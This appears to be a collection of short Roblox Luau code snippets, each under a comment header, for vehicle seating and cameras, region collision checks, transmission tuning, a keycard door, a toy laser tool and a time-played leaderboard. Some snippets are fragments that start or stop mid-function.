limitButton.Text = "FPV Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
limitButton.Text = "Standard Camera"
wait(3)
limitButton.Text = ""
else
end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local v1 = client.UI.Prepare(script.Parent.Parent);
local l__Frame__2 = v1.Frame;
local l__Frame__3 = l__Frame__2.Frame;
local l__Message__4 = l__Frame__3.Message;
local l__Title__5 = l__Frame__3.Title;
local l__gIndex__6 = p1.gIndex;
local l__gTable__7 = p1.gTable;
local l__Message__8 = p1.Message;
local l__Scroll__9 = p1.Scroll;
local l__Time__10 = p1.Time;
if not p1.Message or not p1.Title then
l__gTable__7:Destroy();
end;
l__Title__5.Text = p1.Title;
l__Message__4.Text = l__Message__8;
local function u1()
for v11 = 1, 12 do
l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.05;
l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.05;
l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.05;
l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.05;
l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.05;
service.Wait("Stepped");
end;
service.UnWrap(v1):Destroy();
end;
function l__gTable__7.CustomDestroy()
u1();
end;
spawn(function()
local v12 = Instance.new("Sound", service.LocalContainer());
v12.SoundId = "rbxassetid://7152561753";
v12.Volume = 0.3;
wait(0.1);
v12:Play();
wait(1);
v12:Destroy();
end);
l__gTable__7.Ready();
l__Frame__2:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2);
if not l__Time__10 then
local v13, v14 = l__Message__8:gsub(" ", "");
wait(math.clamp(v14 / 2, 4, 11) + 1);
else
wait(l__Time__10);
end;
u1();
end;
|
--Tell if a seat is flipped
|
local function isFlipped(Seat)
local UpVector = Seat.CFrame.upVector
local Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0))))
return Angle >= MIN_FLIP_ANGLE
end
local function Raycast(startPos, direction, range, ignore, inceptNumber)
if inceptNumber == nil then inceptNumber = 0 end
inceptNumber = inceptNumber + 1
local ray = Ray.new(startPos, direction * range)
local part, position = Workspace:FindPartOnRayWithIgnoreList(ray, ignore)
if part then
if part.CanCollide == false and inceptNumber <= 5 then
--raycast again if we hit a cancollide false brick, put a limit on to prevent an infinite loop
local rangeLeft = range - (startPos - position).magnitude
part, position = Raycast(position, direction, rangeLeft, ignore, inceptNumber) --Raycast remaining distance.
end
end
return part, position
end
local function ExitSeat(player, character, seat, weld)
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then
weld:Destroy()
if seat:FindFirstChild("DoorHinge") then
seat.DoorLatchWeld.Enabled = false
seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE
playDoorSound(seat, "OpenClose")
end
--Record the interaction
SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1
wait()
if seat:FindFirstChild("ExitPosition") then --Check if we can move the character to the designated pos.
--Find vehicle model
local model
local newParent = seat
repeat
model = newParent
newParent = model.Parent
until newParent.ClassName ~= "Model"
local targetPos = seat.ExitPosition.WorldPosition
local delta = targetPos - seat.Position
local dist = delta.magnitude
local dir = delta.unit
local part, _ = Raycast(seat.Position, dir, dist, {character, model})
if not part then --Prevent people being CFramed into walls and stuff
hrp.CFrame = CFrame.new(targetPos)
else
hrp.CFrame = CFrame.new(seat.Position)
--The CFrame element orients the character up-right, the MoveTo stops the character from clipping into objects
character:MoveTo(seat.Position+Vector3.new(0,8,0))
end
else
hrp.CFrame = CFrame.new(seat.Position)
character:MoveTo(seat.Position+Vector3.new(0,8,0))
end
if player then
RemotesFolder.ExitSeat:FireClient(player, true) --Fire this to trigger the client-side anti-trip function
end
wait(DOOR_OPEN_TIME)
SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil
if seat:FindFirstChild("DoorHinge") then
--If nobody else has interactied in this time, close the door.
if SeatInteractionCount[seat] == nil then
seat.DoorHinge.TargetAngle = 0
-- Weld door shut when closed
while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do
wait()
end
seat.DoorLatchWeld.Enabled = true
end
end
end
end
local function FlipSeat(Player, Seat)
if Seat then
if Seat.Parent then
if not Seat.Parent.Parent:FindFirstChild("Scripts") then
warn("Flip Error: Scripts file not found. Please parent seats to the chassis model")
return
end
if not Seat.Parent.Parent.Scripts:FindFirstChild("Chassis") then
warn("Flip Error: Chassis module not found.")
return
end
local Chassis = require(Seat.Parent.Parent.Scripts.Chassis)
Chassis.Redress()
end
end
end
function VehicleSeating.EjectCharacter(character)
if character and character.HumanoidRootPart then
for _, weld in pairs(character.HumanoidRootPart:GetJoints()) do
if weld.Name == "SeatWeld" then
ExitSeat(Players:GetPlayerFromCharacter(character), character, weld.Part0, weld)
break
end
end
end
end
function VehicleSeating.SetRemotesFolder(remotes)
RemotesFolder = remotes
--Detect exit seat requests
RemotesFolder:FindFirstChild("ExitSeat").OnServerEvent:Connect(function(player)
if player.Character then
local character = player.Character
VehicleSeating.EjectCharacter(character)
end
end)
--Detect force exit seat requests
RemotesFolder:FindFirstChild("ForceExitSeat").OnServerEvent:Connect(function(seatName)
local chassis = PackagedVehicle:FindFirstChild("Chassis")
if chassis then
local seat = chassis:FindFirstChild(seatName)
if seat and seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
VehicleSeating.EjectCharacter(occupantCharacter)
end
end
end)
end
function VehicleSeating.SetBindableEventsFolder(bindables)
local BindableEventsFolder = bindables
--Detect force exit seat requests
BindableEventsFolder:FindFirstChild("ForceExitSeat").Event:Connect(function(seatName)
local chassis = PackagedVehicle:FindFirstChild("Chassis")
if chassis then
local seat = chassis:FindFirstChild(seatName)
if seat and seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
VehicleSeating.EjectCharacter(occupantCharacter)
end
end
end)
end
function VehicleSeating.AddSeat(seat, enterCallback, exitCallback)
local promptLocation = seat:FindFirstChild("PromptLocation")
if promptLocation then
local proximityPrompt = promptLocation:FindFirstChildWhichIsA("ProximityPrompt")
if proximityPrompt then
local vehicleObj = getVehicleObject()
local function setCarjackPrompt()
if seat.Occupant and not carjackingEnabled(vehicleObj) then
proximityPrompt.Enabled = false
else
proximityPrompt.Enabled = true
end
end
seat:GetPropertyChangedSignal("Occupant"):connect(setCarjackPrompt)
vehicleObj:GetAttributeChangedSignal("AllowCarjacking"):Connect(setCarjackPrompt)
proximityPrompt.Triggered:connect(function(Player)
if seat then
if isFlipped(seat) then
FlipSeat(Player, seat)
elseif not seat:FindFirstChild("SeatWeld") or carjackingEnabled(vehicleObj) then
if Player.Character ~= nil then
local HRP = Player.Character:FindFirstChild("HumanoidRootPart")
local humanoid = Player.Character:FindFirstChild("Humanoid")
if HRP then
local Dist = (HRP.Position - seat.Position).magnitude
if Dist <= MAX_SEATING_DISTANCE then
if seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
for _, weld in pairs(occupantCharacter.HumanoidRootPart:GetJoints()) do
if weld.Name == "SeatWeld" then
ExitSeat(Players:GetPlayerFromCharacter(occupantCharacter), occupantCharacter, weld.Part0, weld)
break
end
end
end
seat:Sit(humanoid)
if seat:FindFirstChild("DoorHinge") then
if seat.DoorHinge.ClassName ~= "HingeConstraint" then warn("Warning, door hinge is not actually a hinge!") end
--Record that a player is trying to get in the seat
SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1
--Activate the hinge
seat.DoorLatchWeld.Enabled = false
seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE
seat.DoorHinge.AngularSpeed = DOOR_OPEN_SPEED
playDoorSound(seat, "OpenClose")
wait(DOOR_OPEN_TIME)
--Check if anyone has interacted with the door within this time. If not, close it.
SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil
if SeatInteractionCount[seat] == nil then
seat.DoorHinge.TargetAngle = 0
-- Weld door shut when closed
while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do
wait()
end
seat.DoorLatchWeld.Enabled = true
end
end
end
end
end
end
end
end)
end
end
local effectsFolder = getEffectsFolderFromSeat(seat)
if effectsFolder then
-- set open/close Sound
local openclose = effectsFolder:FindFirstChild("OpenCloseDoor")
if openclose then
openclose:Clone().Parent = seat
end
end
local currentOccupant = nil
local occupantChangedConn = seat:GetPropertyChangedSignal("Occupant"):Connect(function()
if seat.Occupant then
if enterCallback then
currentOccupant = seat.Occupant
currentOccupant = Players:GetPlayerFromCharacter(currentOccupant.Parent) or currentOccupant
enterCallback(currentOccupant, seat)
end
elseif exitCallback then
exitCallback(currentOccupant, seat)
currentOccupant = nil
end
end)
--Clean up after the seat is destroyed
seat.AncestryChanged:connect(function()
if not seat:IsDescendantOf(game) then
occupantChangedConn:Disconnect()
end
end)
end
return VehicleSeating
|
-- Replacements for RootCamera:RotateCamera() which did not actually rotate the camera
-- suppliedLookVector is not normally passed in, it's used only by Watch camera
|
function BaseCamera:CalculateNewLookCFrame(suppliedLookVector)
local currLookVector = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle = math.asin(currLookVector.y)
local yTheta = math.clamp(self.rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
local constrainedRotateInput = Vector2.new(self.rotateInput.x, yTheta)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0)
return newLookCFrame
end
function BaseCamera:CalculateNewLookVector(suppliedLookVector)
local newLookCFrame = self:CalculateNewLookCFrame(suppliedLookVector)
return newLookCFrame.lookVector
end
function BaseCamera:CalculateNewLookVectorVR()
local subjectPosition = self:GetSubjectPosition()
local vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p)
local currLookVector = (vecToSubject * X1_Y0_Z1).unit
local vrRotateInput = Vector2.new(self.rotateInput.x, 0)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector
return (yawRotatedVector * X1_Y0_Z1).unit
end
function BaseCamera:GetHumanoid()
local character = player and player.Character
if character then
local resultHumanoid = self.humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
self.humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidCache[player] = humanoid
end
return humanoid
end
end
return nil
end
function BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType)
if humanoidStateType == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
function BaseCamera:UpdateGamepad()
local gamepadPan = self.gamepadPanningCamera
if gamepadPan and (self.hasGameLoaded or not VRService.VREnabled) then
gamepadPan = Util.GamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
self.userPanningTheCamera = true
elseif gamepadPan == ZERO_VECTOR2 then
self.lastThumbstickRotate = nil
if self.lastThumbstickPos == ZERO_VECTOR2 then
self.currentSpeed = 0
end
end
local finalConstant = 0
if self.lastThumbstickRotate then
if VRService.VREnabled then
self.currentSpeed = self.vrMaxSpeed
else
local elapsedTime = (currentTime - self.lastThumbstickRotate) * 10
self.currentSpeed = self.currentSpeed + (self.maxSpeed * ((elapsedTime*elapsedTime)/self.numOfSeconds))
if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end
if self.lastVelocity then
local velocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)
local velocityDeltaMag = (velocity - self.lastVelocity).magnitude
if velocityDeltaMag > 12 then
self.currentSpeed = self.currentSpeed * (20/velocityDeltaMag)
if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end
end
end
end
finalConstant = UserGameSettings.GamepadCameraSensitivity * self.currentSpeed
self.lastVelocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate)
end
self.lastThumbstickPos = gamepadPan
self.lastThumbstickRotate = currentTime
return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * self.ySensitivity * UserGameSettings:GetCameraYInvertValue())
end
return ZERO_VECTOR2
end
|
-- Public Constructors
|
function RotatedRegion3:CastPoint(point)
local gjk = GJK.new(self.Set, {point}, self.Centroid, point, self.Support, Supports.PointCloud)
return gjk:IsColliding()
end
function RotatedRegion3:CastPart(part)
local r3 = RotatedRegion3.FromPart(part)
local gjk = GJK.new(self.Set, r3.Set, self.Centroid, r3.Centroid, self.Support, r3.Support)
return gjk:IsColliding()
end
function RotatedRegion3:FindPartsInRegion3(ignore, maxParts)
local found = {}
local parts = game.Workspace:FindPartsInRegion3(self.AlignedRegion3, ignore, maxParts)
for i = 1, #parts do
if (self:CastPart(parts[i])) then
table.insert(found, parts[i])
end
end
return found
end
function RotatedRegion3:FindPartsInRegion3WithIgnoreList(ignore, maxParts)
ignore = ignore or {}
local found = {}
local parts = game.Workspace:FindPartsInRegion3WithIgnoreList(self.AlignedRegion3, ignore, maxParts)
for i = 1, #parts do
if (self:CastPart(parts[i])) then
table.insert(found, parts[i])
end
end
return found
end
function RotatedRegion3:FindPartsInRegion3WithWhiteList(whiteList, maxParts)
whiteList = whiteList or {}
local found = {}
local parts = game.Workspace:FindPartsInRegion3WithWhiteList(self.AlignedRegion3, whiteList, maxParts)
for i = 1, #parts do
if (self:CastPart(parts[i])) then
table.insert(found, parts[i])
end
end
return found
end
function RotatedRegion3:Cast(ignore, maxParts)
ignore = type(ignore) == "table" and ignore or {ignore}
return self:FindPartsInRegion3WithIgnoreList(ignore, maxParts)
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[=[
Converts the value back to the base value
@return T
]=]
|
function LinearValue:ToBaseValue()
return self._constructor(unpack(self._values))
end
local function operation(func)
return function(a, b)
if LinearValue.isLinear(a) and LinearValue.isLinear(b) then
assert(a._constructor == b._constructor, "a is not the same type of linearValue as b")
local values = {}
for i=1, #a._values do
values[i] = func(a._values[i], b._values[i])
end
return LinearValue.new(a._constructor, values)
elseif LinearValue.isLinear(a) then
if type(b) == "number" then
local values = {}
for i=1, #a._values do
values[i] = func(a._values[i], b)
end
return LinearValue.new(a._constructor, values)
else
error("Bad type (b)")
end
elseif LinearValue.isLinear(b) then
if type(a) == "number" then
local values = {}
for i=1, #b._values do
values[i] = func(a, b._values[i])
end
return LinearValue.new(b._constructor, values)
else
error("Bad type (a)")
end
else
error("Neither value is a linearValue")
end
end
end
|
--------------------- TEMPLATE WEAPON ---------------------------
--edited by DestinyHarbinger
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
|
-- Print that runs only if debug mode is active.
|
local function PrintDebug(message: string)
if FastCast.DebugLogging == true then
print(message)
end
end
local function FindCharacterAncestor(subject)
if subject and subject ~= workspace then
local targethumanoid = subject:FindFirstChildWhichIsA("Humanoid")
if targethumanoid then
return targethumanoid
else
return FindCharacterAncestor(subject.Parent)
end
end
return nil
end
|
--LockController
|
Closed = true
script.Parent.Touched:connect(function(P)
if P ~= nil and P.Parent ~= nil and P.Parent:FindFirstChild("CardNumber") ~= nil and P.Parent.CardNumber.Value == 0 then
if Closed == true then
Closed = 1
script.Locked.Value = false
script.Parent.Open.Value = true
wait(1)
Closed = false
return
end
if Closed == false then
Closed = 1
script.Locked.Value = true
script.Parent.Open.Value = false
wait(1)
Closed = true
return
end
end
end)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[[**
ensures Roblox Enums type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Enums = t.typeof("Enums")
|
--local spark = Instance.new("Sparkles")
--spark.Color = Color3.new(0,1,0)
|
function fire(v)
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local missile = script.Parent.Handle:Clone()
--spark:Clone().Parent = missile
local spawnPos = vCharacter.PrimaryPart.Position
local PewPew = Tool.Handle:FindFirstChild("PewPew")
if (PewPew == nil) then
PewPew = Instance.new("Sound")
PewPew.Name = "PewPew"
PewPew.SoundId = "http://www.roblox.com/asset/?id=11944350"
PewPew.Parent = Tool.Handle
PewPew.Volume = 1
end
spawnPos = spawnPos + (v * 3)
missile.Position = spawnPos
missile.Size = Vector3.new(1,1,1)
missile.Velocity = v * 60
missile.BrickColor = BrickColor.new(1020)
missile.Shape = 0
missile.BottomSurface = 0
missile.TopSurface = 0
missile.Name = "Spark"
missile.Reflectance = .5
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,98,0)
force.Parent = missile
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
local new_script = script.Parent.LaserBlast:clone()
new_script.Disabled = false
new_script.Parent = missile
missile.Parent = game.Workspace
PewPew:Play()
end
function gunUp()
--Tool.GripForward = Vector3.new(0,.981,-.196)
--Tool.GripRight = Vector3.new(1,0,0)
--Tool.GripUp = Vector3.new(0,.196,.981)
end
function gunOut()
--Tool.GripForward = Vector3.new(0,1,0)
--Tool.GripRight = Vector3.new(1,0,0)
--Tool.GripUp = Vector3.new(0,0,1)
end
function isTurbo(character)
return character:FindFirstChild("BoltHelm") ~= nil
end
function onActivated()
if not enabled then
return
end
enabled = false
local character = Tool.Parent;
local humanoid = character.Immortal
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
local reload = .1
--if (isTurbo(character)) then
-- reload = .25
-- print("turbo")
--end
gunUp()
fire(lookAt)
wait(reload)
gunOut()
wait(reload)
enabled = true
end
function onEquipped()
Tool.Handle.EquipSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
|
--[=[
Executes the task as requested.
@param job MaidTask -- Task to execute
]=]
|
function MaidTaskUtils.doTask(job)
if type(job) == "function" then
job()
elseif typeof(job) == "RBXScriptConnection" then
job:Disconnect()
elseif type(job) == "table" and type(job.Destroy) == "function" then
job:Destroy()
-- selene: allow(if_same_then_else)
elseif typeof(job) == "Instance" then
job:Destroy()
else
error("Bad job")
end
end
|
----------------//
|
UI.Name = Name
UI.Parent = plr.PlayerGui:WaitForChild("UI").Main.Keys.Holder
UI.Info.Text = Text
UI.Key.Text = Key
if Order then UI.LayoutOrder = Order end
UI.Visible = true
|
--[=[
Returns whether `value` is within `table`
@param _table table -- To search in for value
@param value any -- Value to search for
@return boolean -- `true` if within, `false` otherwise
]=]
|
function Table.contains(_table, value)
for _, item in pairs(_table) do
if item == value then
return true
end
end
return false
end
|
--[[
TimePlayedClass, RenanMSV @2023
A script designed to update a leaderboard with
the top 10 players who most play your game.
Do not change this script. All configurations can be found
in the Settings script.
]]
|
local DataStoreService = game:GetService("DataStoreService")
local Config = require(script.Parent.Settings)
local TimePlayedClass = {}
TimePlayedClass.__index = TimePlayedClass
function TimePlayedClass.new()
local new = {}
setmetatable(new, TimePlayedClass)
new._dataStoreName = Config.DATA_STORE
new._dataStoreStatName = Config.NAME_OF_STAT
new._scoreUpdateDelay = Config.SCORE_UPDATE * 60
new._boardUpdateDelay = Config.LEADERBOARD_UPDATE * 60
new._useLeaderstats = Config.USE_LEADERSTATS
new._nameLeaderstats = Config.NAME_LEADERSTATS
new._doDebug = Config.DO_DEBUG
new._datastore = nil
new._scoreBlock = script.Parent.Model.ScoreBlock
new:_init()
return new
end
function TimePlayedClass:_timeToString(_time)
_time = _time * 60
local days = math.floor(_time / 86400)
local hours = math.floor(math.fmod(_time, 86400) / 3600)
local minutes = math.floor(math.fmod(_time, 3600) / 60)
return string.format("%02dd : %02dh : %02dm",days,hours,minutes)
end
function TimePlayedClass:_init()
local suc, err = pcall(function ()
self._datastore = game:GetService("DataStoreService"):GetOrderedDataStore(self._dataStoreName)
end)
if not suc or self._datastore == nil then warn("Failed to load OrderedDataStore. Error:", err) script.Parent:Destroy() end
-- puts leaderstat value in player
if self._useLeaderstats then
game:GetService("Players").PlayerAdded:Connect(function (player)
task.spawn(function ()
local stat = Instance.new("NumberValue")
stat.Name = self._nameLeaderstats
stat.Parent = player:WaitForChild("leaderstats")
end)
end)
end
-- increments players time in the datastore
task.spawn(function ()
while true do
task.wait(self._scoreUpdateDelay)
self:_updateScore()
end
end)
-- update leaderboard
task.spawn(function ()
self:_updateBoard() -- update once
while true do
task.wait(self._boardUpdateDelay)
self:_updateBoard()
end
end)
end
function TimePlayedClass:_clearBoard ()
for _, folder in pairs({self._scoreBlock.SurfaceGui.Names, self._scoreBlock.SurfaceGui.Photos, self._scoreBlock.SurfaceGui.Score}) do
for _, item in pairs(folder:GetChildren()) do
item.Visible = false
end
end
end
function TimePlayedClass:_updateBoard ()
if self._doDebug then print("Updating board") end
local results = nil
local suc, results = pcall(function ()
return self._datastore:GetSortedAsync(false, 10, 1):GetCurrentPage()
end)
if not suc or not results then
if self._doDebug then warn("Failed to retrieve top 10 with most time. Error:", results) end
return
end
local sufgui = self._scoreBlock.SurfaceGui
self._scoreBlock.Credits.Enabled = true
self._scoreBlock.SurfaceGui.Enabled = #results ~= 0
self._scoreBlock.NoDataFound.Enabled = #results == 0
self:_clearBoard()
for k, v in pairs(results) do
local userid = tonumber(string.split(v.key, self._dataStoreStatName)[2])
local name = game:GetService("Players"):GetNameFromUserIdAsync(userid)
local score = self:_timeToString(v.value)
self:_onPlayerScoreUpdate(userid, v.value)
sufgui.Names["Name"..k].Visible = true
sufgui.Score["Score"..k].Visible = true
sufgui.Photos["Photo"..k].Visible = true
sufgui.Names["Name"..k].Text = name
sufgui.Score["Score"..k].Text = score
sufgui.Photos["Photo"..k].Image = game:GetService("Players"):GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150)
end
if self._scoreBlock:FindFirstChild("_backside") then self._scoreBlock["_backside"]:Destroy() end
local temp = self._scoreBlock.SurfaceGui:Clone()
temp.Parent = self._scoreBlock
temp.Name = "_backside"
temp.Face = Enum.NormalId.Back
if self._doDebug then print("Board updated sucessfully") end
end
function TimePlayedClass:_updateScore ()
local suc, err = coroutine.resume(coroutine.create(function ()
local players = game:GetService("Players"):GetPlayers()
for _, player in pairs(players) do
local stat = self._dataStoreStatName .. player.UserId
local newval = self._datastore:IncrementAsync(stat, self._scoreUpdateDelay / 60)
if self._doDebug then print("Incremented time played stat of", player, stat, "to", newval) end
end
end))
if not suc then warn(err) end
end
function TimePlayedClass:_onPlayerScoreUpdate (userid, minutes)
-- updates leaderstats if enabled
if not self._useLeaderstats then return end
local player = game:GetService("Players"):GetPlayerByUserId(userid)
if not player or not player:FindFirstChild("leaderstats") then return end
local leaderstat = player.leaderstats[self._nameLeaderstats]
leaderstat.Value = tonumber(minutes)
end
TimePlayedClass.new()
|
--[[
function moveupL1()
local amount = A
local current = 0
MoverL1.TargetPosition = 0.076
repeat
current = current + amount/B
script.Parent.LowToneSolenoid.MovingParts.Spring.Size = script.Parent.LowToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,(amount/B)*C)
local lv = script.Parent.LowToneSolenoid.MovingParts.Spring.CFrame.LookVector
script.Parent.LowToneSolenoid.MovingParts:TranslateBy(lv*-amount/B)
game:GetService("RunService").Heartbeat:wait()
until current >= A
end
function movebackL1()
local amount = A
local current = 0
MoverL1.TargetPosition = 0
repeat
current = current + amount/B
script.Parent.LowToneSolenoid.MovingParts.Spring.Size = script.Parent.LowToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,-(amount/B)*C)
local lv = script.Parent.LowToneSolenoid.MovingParts.Spring.CFrame.LookVector
script.Parent.LowToneSolenoid.MovingParts:TranslateBy(lv*amount/B)
game:GetService("RunService").Heartbeat:wait()
until current >= A
end
function moveupL2()
local amount = A
local current = 0
MoverL2.TargetPosition = 0.076
repeat
current = current + amount/B
script.Parent.HighToneSolenoid.MovingParts.Spring.Size = script.Parent.HighToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,(amount/B)*C)
local lv = script.Parent.HighToneSolenoid.MovingParts.Spring.CFrame.LookVector
script.Parent.HighToneSolenoid.MovingParts:TranslateBy(lv*-amount/B)
game:GetService("RunService").Heartbeat:wait()
until current >= A
end
function movebackL2()
local amount = A
local current = 0
MoverL2.TargetPosition = 0
repeat
current = current + amount/B
script.Parent.HighToneSolenoid.MovingParts.Spring.Size = script.Parent.HighToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,-(amount/B)*C)
local lv = script.Parent.HighToneSolenoid.MovingParts.Spring.CFrame.LookVector
script.Parent.HighToneSolenoid.MovingParts:TranslateBy(lv*amount/B)
game:GetService("RunService").Heartbeat:wait()
until current >= A
end
]]
|
script.Parent.L1:GetPropertyChangedSignal("Value"):Connect(function()
if script.Parent.L1.Value == true then
--moveupL1()
script.Parent.LowToneSolenoid.ShutterPartClosed.Shutter.Transparency = 0
script.Parent.LowToneSolenoid.ShutterPartClosed.SolenoidPart.Transparency = 0
script.Parent.LowToneSolenoid.ShutterPartClosed.Spring.Transparency = 0
script.Parent.LowToneSolenoid.ShutterPartOpened.Shutter.Transparency = 1
script.Parent.LowToneSolenoid.ShutterPartOpened.SolenoidPart.Transparency = 1
script.Parent.LowToneSolenoid.ShutterPartOpened.Spring.Transparency = 1
SolenoidSound2.Volume = 0.07
SolenoidSound2:Play()
else
--movebackL1()
script.Parent.LowToneSolenoid.ShutterPartClosed.Shutter.Transparency = 1
script.Parent.LowToneSolenoid.ShutterPartClosed.SolenoidPart.Transparency = 1
script.Parent.LowToneSolenoid.ShutterPartClosed.Spring.Transparency = 1
script.Parent.LowToneSolenoid.ShutterPartOpened.Shutter.Transparency = 0
script.Parent.LowToneSolenoid.ShutterPartOpened.SolenoidPart.Transparency = 0
script.Parent.LowToneSolenoid.ShutterPartOpened.Spring.Transparency = 0
SolenoidSound2.Volume = 0.03
SolenoidSound2:Play()
end
end)
function ActivateSolenoids()
if Flasher.On.Value == true and Flasher.Power.Value == true then
if Flasher.Outputs.SIG1.Value == true then
script.Parent.L1.Value = true
script.Parent.L2.Value = false
else
script.Parent.L1.Value = false
script.Parent.L2.Value = true
end
else
script.Parent.L1.Value = false
script.Parent.L2.Value = false
end
end
Flasher.Outputs.SIG1.Changed:Connect(function()
ActivateSolenoids()
end)
Flasher.On.Changed:Connect(function()
script.Parent.ModulationActive.Value = Flasher.On.Value
ActivateSolenoids()
end)
Flasher.Outputs.SIG1.Test.Changed:Connect(function()
repeat wait()
script.Parent.L1.Value = true
until Flasher.Power.Value == false or Flasher.Outputs.SIG1.Test.Value == false
script.Parent.L1.Value = false
end)
Flasher.Outputs.SIG2.Test.Changed:Connect(function()
repeat wait()
script.Parent.L2.Value = true
until Flasher.Power.Value == false or Flasher.Outputs.SIG2.Test.Value == false
script.Parent.L2.Value = false
end)
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
